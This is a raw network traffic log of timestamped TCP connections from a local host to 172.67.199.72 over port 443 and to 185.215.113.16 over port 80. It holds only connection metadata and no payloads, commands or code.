Dec 23, 2024 08:03:56.235116959 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:56.235357046 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:56.237041950 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:56.237051964 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:56.237297058 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:56.238682985 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:56.238765001 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:56.238797903 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:57.162879944 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:57.163014889 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:57.163176060 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:57.163216114 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:57.163230896 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:57.284929991 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:57.284977913 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:57.285418987 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:57.285418987 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:57.285471916 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:58.498256922 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:58.498364925 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:58.499792099 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:58.499802113 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:58.500129938 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:58.501853943 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:58.501995087 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:58.502038002 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:58.502180099 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:58.543329000 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:59.390383959 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:59.390474081 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:59.390647888 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:59.391074896 CET	49708	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:59.391097069 CET	443	49708	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:59.679832935 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:59.679858923 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:59.679936886 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:59.680448055 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:59.680461884 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:00.893821955 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:00.893990040 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:00.896097898 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:00.896107912 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:00.896605015 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:00.898528099 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:00.898677111 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:00.898714066 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:00.898850918 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:00.898858070 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:01.865348101 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:01.865478992 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:01.865628958 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:01.865863085 CET	49709	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:01.865880966 CET	443	49709	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:02.381513119 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:02.381566048 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:02.381714106 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:02.382015944 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:02.382034063 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:03.594680071 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:03.594851017 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:03.604163885 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:03.604182005 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:03.604439020 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:03.605756044 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:03.605890036 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:03.605899096 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:04.363632917 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:04.363725901 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:04.363856077 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:04.364110947 CET	49710	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:04.364130974 CET	443	49710	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:04.937284946 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:04.937334061 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:04.937444925 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:04.937861919 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:04.937882900 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.149506092 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.149641037 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.151106119 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.151113033 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.151364088 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.152769089 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154016972 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154050112 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.154145002 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154176950 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.154288054 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154325962 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.154433012 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154447079 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.154670954 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154685020 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.154901981 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.154930115 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.154942036 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.155056000 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.155090094 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.199331045 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.199470043 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.199518919 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.199532032 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.243329048 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.243516922 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.243556976 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.243580103 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.287334919 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.287410975 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:06.335333109 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:06.515248060 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:08.467566967 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:08.467674017 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:08.467875004 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:08.468008995 CET	49713	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:08.468030930 CET	443	49713	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:08.482088089 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:08.482116938 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:08.482275009 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:08.482650995 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:08.482664108 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:09.695265055 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:09.695409060 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:09.697077036 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:09.697093964 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:09.697344065 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:09.704108953 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:09.704149961 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:09.704194069 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:10.464749098 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:10.464848995 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:10.464934111 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:10.465281010 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:10.465281010 CET	49715	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:04:10.465303898 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:10.465310097 CET	443	49715	172.67.199.72	192.168.2.8
Dec 23, 2024 08:04:10.467236996 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:10.586756945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:10.586914062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:10.587218046 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:10.706836939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929527998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929615974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929627895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929775000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929786921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929799080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.929822922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:11.929822922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:11.929856062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:11.929966927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.930027962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.930041075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.930052996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:11.930083036 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:11.930083036 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.049328089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.049388885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.049524069 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.121800900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.121906996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.121997118 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.125859022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.126028061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.126079082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.132364988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.132481098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.132900000 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.140760899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.140851974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.140937090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.149111032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.149187088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.149276018 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.157520056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.157660961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.157733917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.165868044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.166069031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.166198015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.174273968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.174354076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.174490929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.182626963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.182733059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.182825089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.191041946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.191119909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.191201925 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.199413061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.199538946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.199729919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.242244959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.293268919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.314546108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.314688921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.314780951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.317019939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.317177057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.317255974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.322252989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.322273970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.322417021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.327946901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.328109980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.328227043 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.331976891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.332154989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.332350016 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.335962057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.336070061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.336210012 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.340750933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.340876102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.340991020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.345597982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.345773935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.346000910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.350383997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.350527048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.350601912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.355098009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.355187893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.355372906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.359918118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.360014915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.360085964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.364603043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.364712000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.364821911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.369446993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.369541883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.369642019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.374213934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.374321938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.374497890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.379002094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.379112959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.379190922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.383744955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.383851051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.383902073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.388576984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.388622999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.388763905 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.393326044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.393385887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.393593073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.506083012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.506162882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.506823063 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.507992983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.508110046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.508245945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.511951923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.512048960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.512650013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.515620947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.515820980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.516339064 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.519568920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.519678116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.519737005 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.523458004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.523587942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.523658037 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.527134895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.527240038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.527304888 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.530817986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.530910015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.531332970 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.534490108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.534575939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.534646034 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.538146019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.538180113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.538343906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.541816950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.541899920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.541970015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.545519114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.545603037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.545860052 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.549155951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.549285889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.549475908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.552800894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.552921057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.553942919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.556463957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.556639910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.556729078 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.560128927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.560230970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.560384989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.563816071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.563941956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.564238071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.567507982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.567598104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.569628000 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.571163893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.571269989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.571325064 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.574877977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.575079918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.575124979 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.578519106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.578605890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.578645945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.582212925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.582330942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.582547903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.585989952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.586138964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.586828947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.589504957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.589617968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.590821981 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.593213081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.593283892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.593326092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.596872091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.596946955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.597130060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.600541115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.600622892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.600666046 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.604192019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.604305983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.606854916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.607858896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.652890921 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.698235035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.698312044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.698786020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.699714899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.699819088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.699883938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:12.702112913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:12.702421904 CET	80	49716	185.215.113.16	192.168.2.8
